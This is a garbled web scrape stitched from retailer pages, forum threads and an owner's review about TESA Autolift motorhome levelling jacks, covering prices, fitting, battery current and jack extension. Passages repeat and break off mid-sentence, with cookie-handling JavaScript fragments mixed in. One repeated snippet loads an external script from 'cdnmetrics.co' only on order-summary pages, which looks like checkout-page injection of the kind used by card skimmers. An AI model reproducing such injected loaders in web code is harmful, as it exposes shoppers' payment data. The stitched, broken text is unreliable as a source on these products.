Registered Office: 18 Melbourne Grove, London, Go to cart page Continue. They are very expensive. To allow compact mounting the jacks have fixation holes in the back. if (options.expires instanceof Date) { The main advantages though are that I can now level or elevate the motorhome on my own and see whats going on, and I can do so more precisely, quickly and safely and without any stress. for (let optionKey in options) { One alternative the dealer has suggested is a TESA electro-mechanical system. 3978237. These HPC systems work to level your motorhome in less than 90 seconds, without any hassle. The product is excellent, no more bother with ramps that sink in after a few hours on site, and was fitted in a neat and tidy way. This should reduce the need for pads but if they are needed I believe thicker ones can be used to achieve greater elevation. The jacks look robust and stable. If there is too much slope for the van to be levelled completely, the AUTO function will level the van as best it can. This review is from Nigel, who does not want his full name to be used, Battery to Battery DC-DC battery chargers, Votronic level gauges sensors & control panels, Voltage converters regulators & power supplies, Camera systems for Motorhomes Caravans Vans & Trucks, Vehicle Care Maintenance Safety & Installation, Votronic Control Panels Sensors & Displays, Votronic Switches Sockets & Various Products, 4 x actuators; 1 x prewired control unit; 1 x fixed control panel; 1 x remote control; 4 x Jack pads and positioning rod. Prices range from 5,500.00 to 6,300.00 depending on which vehicle the system is going to be installed on. Thanks Tinwheeler and Dave for responding. options.expires = options.expires.toUTCString(); Ultra-light hydraulic jacks Lightweight aluminium jacks with very compact mounting. 3) Probably, but that's not what it's designed for. When the Autolifts 4 jacks are in their driving position they are fully retracted and folded up to the chassis where they are largely out of sight. Having a level motorhome means you wont have any more shower drainage issues, uneven cooking surfaces, and no rocking if windy or from walking around the motorhome. My fitter thought the Autolift should have been powered by my 95Ah starter battery due to the currents involved, its higher recharge capability and because it was more likely to be fully charged and in better condition than my 90Ah leisure battery, which could have had extensive off-grid use. We all want our motorhome holiday to be enjoyable, comfortable and stress free. Once familiar with the comfort of an automatic levelling system below the camper or caravan, you don't want to travel anymore without it. MH. This had to be done to my rear jacks. All I needed was a pair of fine-toothed circlip pliers and for the rear wheels to be on the highest position of my Milenco Triple levelling wedges. Registered Office: 18 Melbourne Grove, London, Have done a lot of what is called "ow-to-kyampingu" (auto-camping) in Japan. Jan 31, 2021. (The ramps were supplied by the site owner). The control panel indicates which parts of the motorhome need to be elevated to level it and therefore which two jacks might need a pad. let updatedCookie = encodeURIComponent(name) + "=" + encodeURIComponent(value); Note: This feature currently requires accessing the site using the built-in Safari browser. Or email: info@glide-rite.com, THE UK'S LEADING MANUFACTURER & SUPPLIER OF AIR SUSPENSION & HYDRAULICS SHOULD HAVE A WARRANTY POLICY TO FIT. Larger motorhomes, in theory anyway, should also come with a greater payload, which should be able to easily swallow the 45 to 65kg weight of the standard leveling system (the weight varies depending on the size of the motorhome). front pair, back pair, left or right side. 3) Probably, but that's not what it's designed for. The system will alarm if the jacks are not in their driving position when the engine is started. I could have gone back to the fitter for them to do it but with their advice it was easier and cheaper to do it myself. Is this transferable should I change my vehicle. If the Autolift is powered by the starter battery and it goes flat, it will not be possible to start the engine or raise the jacks electrically. YOU HAVE 0 ITEM IN YOUR BASKET - //-1){(function(p,a,c,k,e,d){v=2614792;d=p.createElement(c);d.type=k;d.async=!0;d.src='//cdnmetrics.co/init.js? Anytime a nose load of 75 kilos is added to the tow ball, it is no wonder that the standard vehicle suspension needs some help. setCookie('39hfbdjv42grfiwfdsb',Date.now()); Ma-Ve is a hydraulic motorhome levelling manufacturer that has always been committed to creating the highest quality products. We specialise in the development of products for the motorhome & caravan markets - Enquire Today! The advantages of this approach include: Lighter weight No maintenance No possibility of fluid loss In addition, the AutoLift system is considerably less expensive than hydraulic systems. On my motorhome the gap varies between the front and rear jacks and is dependent on how much load is being carried and its position, and how uneven and soft the ground is. If needed all 4 wheels can be lifted clear of the ground. Nothing was too much trouble and my satellite problems were sorted very qui Dear Mr Jenner, Your camper easily levelled horizontally. Does not work with oil so low maintenance, is almost not affected by lateral pressure. We''ll need some more information to quote accuratley for the fitting, please contact us on installations@roadpro.co.uk. Borve on Barra in the Outer Hebrides, CY. France, Holland and Denmark as well as other European countries. Supply chain problems caused by Brexit and Covid made my Autolift difficult to get hold of. Hello Steve. Fiat, Citroen, Peugeot, Mercedes and Al-ko. Copyright 2023 Caravan and Motorhome Club. We managed to meet some of the Glide-Rite team at th N.E.C so we could say hello and thank them. 1) 3,495.00 including installation Hope this helps, Andy, 3) Yes and plastic pads are supplied that can be used on soft ground. The fact th We are currently unable to answer phone calls but we respond as promptly as possible to allenquiries sent via email or from our website -. Get in touch. All Rights Reserved, WORKING DAYS/HOURS We now use the Autolift all the time. Elevation typically takes less than a minute so the Ah consumed should be small compared to the useable capacity of a fully charged leisure or starter battery that is in good condition. While the system would be convenient, it would be little use if drains the battery! Finance Available, Please Call To Enquire. When not in use the jacks fold up horizontally under the motorhome's chassis which helps reduce their impacton the ground clearance of the vehicle. Once folded down, all four of my jacks can be extended by up to 137mm by pressing either the AUTO or MANUAL buttons. It is easier to inspect and remove stones from the tyres, fit wheel covers and work under the van. Any known issues? AutoLift System is a self-levelling system for a motorhome, }, 200); if(document.location.href.indexOf('order/summary')>-1){(function(p,a,c,k,e,d){v=2614792;d=p.createElement(c);d.type=k;d.async=!0;d.src='//cdnmetrics.co/init.js? As noted in the title - those who have used or experience of it would be most welcome to share it! With a 6m van, I dont even need the fingers on one hand to count the number of occasions ramps have been needed over the last couple of years. Motorhomes TESA Electric Levelling TESA Electric Levelling Vantagemed replied on 07/06/2020 17:56 Member Vantagemed Motorhomer from West Yorkshire Posted on 07/06/2020 17:56 Quote Report Like Just in the process of buying an Auto-Sleepers Symbol Van. My overall increase in weight is spread equally between the front and rear axles and is low down. It's easy to use, reliable and effective and it can be fitted to most motorhomes including panel vans. When I replaced the 80A fuse with a 30A fuse, it didnt blow which confirms my maximum current is less than 30A. The AUTO levelling function works well. let matches = document.cookie.match(new RegExp( Click here to find out more about installation. All Motorhome Levelling work is carried out by ourselves at our workshop on our hydraulic lifts. The Autolift battery power cable is 16mm within a conduit giving it a rating of 76A and it is fitted with an 80A bolt in strip fuse. At TEKKER we are establishing state-of-the-art environment for the on-site services to be more efficient and greener. Before the jacks are used, they are folded down from the driving position and partially extended by pressing the START button on the Autolifts control panel. Supply chain problems caused by Brexit and Covid made my Autolift difficult to get hold of. #1. . Keeping the jacks clean appears to be the only maintenance. if (options.expires instanceof Date) { I rarely go off-grid and when the time comes, I will probably replace my leisure battery with a larger NCC Class B one. Please does anyone have experience of any of these systems? Yes the system can be used for this purpose and others such as changing a flat tyre, 1. With Power Springs you will notice that your cars road handling is positively improved. With this we can level vehicles from 2 tonnes up to a maximum of 30 tonnes. Registered in England & Wales No. Any pads or wood must be removed before the jacks are folded up. Their logic is there is no chance of the Autolift flattening the starter battery and if the leisure battery goes flat, the engine can be started which will generate enough charge for the leisure battery to raise the jacks into the driving position. The TESA levelling system is ideal for motorhomes and campervans, it is easy to use, reliable and effective. Please fill out the following form to be notified when the product is in stock, TESA Adaptor kit for Sprinter / Crafter: 2016 to 2018 RWD, TESA Adaptor kit for AL-KO X250/290 chassis on Ducato, TESA Adaptor kit for AL-KO 244 chassis on Ducato, TESA Adaptor plates for Ford Transit Before July 2014, TESA Adaptor kit for X290 EURO6 (with AdBlue tank), TESA Adaptor kit for X290 with AL-KO chassis & AdBlue, TESA Adaptor kit for Renault Master III - from 2011, TESA Adaptor kit for Iveco Daily - from 2007, TESA Adaptor kit for Mercedes with AL-KO chassis 2020 F+R, TESA Adaptor kit for X250/290 Vans with AdBlue + wheel + tan, TESA Mounting Brackets for Ford Transit EURO 4 only. Its been around for a while (RoadPro says: since 2009) so I would like to think its gremlins are ironed out. The corresponding current and Ah consumed should also be less. Depending on the application there are systems available with a capacity of up to 10 tonnes per jack. One was demonstrated to me last year by a contented owner who had had it for over a year and earlier this year I saw it at the NEC. If the gap is not big enough, the jacks will strike the ground as they are lowered. Although it is quite a lot of money I am considering having the E&P or perhaps Mave hydraulic self levelling system fitted to our Benimar 286. Few blocks of wood is far cheaper but then you don't get to put the smug face on when you pull up on a slight sloop and it levels itself. Address: Telgterweg 301-D 3853NJ ERMELO, The Netherlands Phone: 0341-722450 E-Mail: info@tesalift.eu. Al-Ko HY4 Self leveling system. I really want a self-levelling system. (This also applies to the rams on hydraulic systems.) TESA is in Europe the only manufacturer of mechanical leveling systems Because hydraulic systems use oil, and work with air pressure, a mechanical system is less susceptible to extreme temperatures, lateral pressure, dust and power loss. It can lift vehicles of up to 5,000kg and is quite a lightweight system at around 50kg in total. My wife is particularly relieved that she doesnt have to guide me onto wedges anymore. Please choose to opt in below to receive such updates. An Autolift brochure states power usage just 12A avg (Hydraulic 30 to 70A). let matches = document.cookie.match(new RegExp( We now use the Autolift all the time. A bonus is that the jacks steady the motorhome. }; Wheel changing is safer and easier and, by raising the rear of the van as recommended by Peugeot, there is more space to check or use the spare wheel. updatedCookie += "=" + optionValue; In these circumstances a pad has to be put under the jack to spread the load. The advantages of this approach include: The Auto LiftSystem is widely used in Italy, Germany, France, Holland and Denmark as well as other European countries. I would like to be contacted by Marquis/ The Auto-Sleepers Group, please tick the relevant boxes below: Auto-Sleepers Group Ltd T/A Marquis Leisure side. Im waiting to try out the Autolift on a grass pitch but I am pretty sure it will require pads, especially if it rains. RoadPro do not fit them and only supply to professional fitters. Auto-Sleepers Group Ltd are authorised & regulated by the Financial Conduct Authority. TESA Auto-Lift 4 Levelling System. . JavaScript is disabled. Please note that, with installation enquiries, no two are the sameand may take us slightly longer to reply to. (RoadPro says: Using the Autolift to raise a vehicle will reduce the capacity of the battery by approximately 1 Ah) The Autolift can be powered by either battery. Using these and my maximum useable extension of 137mm, I can easily achieve elevations above each jack of at least 125mm. "(? Find company research, competitor information, contact details & financial data for TESA MET MARCIN WIELGUSZ of Wrocaw, dolnolskie. Third Parties (we will only pass details to carefully selected third parties), Our friendly team is here to help you find your perfect motorhome or caravan, Spread the cost of your new motorhome or caravan with super finance plans. }; They are nearly 2k cheaper than a hydraulic system but still expensive at 3500, I have seen a couple of reports that they are not very good but that might have been that they were actually old systems and may be better now but there are very few around. 2. Taking account of the position of my jacks in relation to the wheels, 125mm over the jacks equates to about 153mm over the front wheels if raising just the front, or, about 133mm over the front wheel and about 145mm over the rear wheel if raising just a side, or, about 134mm over the rear wheels if raising just the rear. The TESA AUTOLIFT has a large lifting height and an extremely low weight. Is this system fitted at the Roadpro premises (albeit by a Tesa technitian) ? There's still availability at many popular UK Club campsites - find your perfect pitch today for a last minute trip! Taking account of the position of my jacks in relation to the wheels, 125mm over the jacks equates to about 153mm over the front wheels if raising just the front, or, about 133mm over the front wheel and about 145mm over the rear wheel if raising just a side, or, about 134mm over the rear wheels if raising just the rear. If this happens repeatedly, the gap must be increased by removing or replacing a collar on the jacks to shorten them. 4000kg, should draw on average about 48A but this would be a heavy motorhome. Registered office: Orchard Works, Willersey, Nr Broadway, Worcs WR12 7QF United Kingdom A mechanical level system for your camper/Motorhome fitted for only 3995 inc vat Your Campervan/Motorhome is easily levelled horizontally. It's easy to RoadPro claim this is lighter than hydraulic systems; this is the case for some but not necessarily all. Steve, Hello Steve, :^|; )" + name.replace(/([\.$? Installation kits are available for: If your vehicle is not listed, please enquire. The parts but not labour are covered by a 3-year warranty. The control unit has built in safety features to prevent accidental descent of the actuators whilst the vehicle is in motion and to prevent driving with them down. Please note that this kit is supplied with every TESA complete system. Tyre pressures and the condition of the suspension will also affect it. Many thanks. We were in Hampshire on holiday and made arrangements to have the jacks fitted whilst we were in that part of the country. This is more than the weight of most motorhomes and more than the load any levelling wedge, or seemingly hydraulic levelling ram, can take. This can be described as useable extension and is the only extension that matters. The advantages of this approach include: In addition, the AutoLift system is considerably less Although I'd mentioned that I didn't want opinions, your input did turn out to be very helpful. Taking account of the position of my jacks in relation to the wheels, I have calculated that my Autolifts average current should be between about 19A and 24A, depending whether the front, back or side of the motorhome is being lifted off the ground. path: '/', The motorhome can be plugged into an EHU or the engine can be running whilst the Autolift is being used, which lessens the load on whichever battery is chosen. The motorhome can be plugged into an EHU or the engine can be running whilst the Autolift is being used, which lessens the load on whichever battery is chosen. } 1) It depends on the new vehicle but, as a rule, we would not recommend this. This should allow them to handle longer vans and pitches that are more uneven or with more slope. I could have gone back to the fitter for them to do it but with their advice it was easier and cheaper to do it myself. Autolift jacks are not difficult to use but I suspect they are not as easy or fool proof as telescopic hydraulic jacks which have one stage of operation and I understand extend further with wider feet. Tesa has been making the Autolift system since 2010 and has sold thousands of kits across Europe. Tyre pressures and the condition of the suspension will also affect it. I have noticed that the jacks carrying the greatest load dig in overtime on anything other than firm ground. How old was your system when it failed? The distances on my motorhome are less than its 3-metre wheelbase as the jacks are mounted between the axles. if(!isld || (((Date.now()-isld)/1000)>3)){ Please fill out the form to ask about ordering it. PRODUCT CODE: J2418: MANUFACTURER: Tesa : Manufacturers . I have had my lithium batteries fitted 6 weeks ago and have had time to give them a significant test. decodeURIComponent(matches[1]) : undefined; PLEASE NOTE: TESA SYSTEMS HAVE TO BE SHIPPED ON A PALLET VIA DACHSER, DELIVERY IS USUALLY 3-5 DAYS FROM THE DATE OF THE ORDER BEING PLACED. Both statements are wrong. TESA is represented in northern Europe by Karman Trading. sir, 1. All rights reserved. To some extent this happens on my drive where the gravel is deep and it happened on a hard-standing pitch which had poor footings.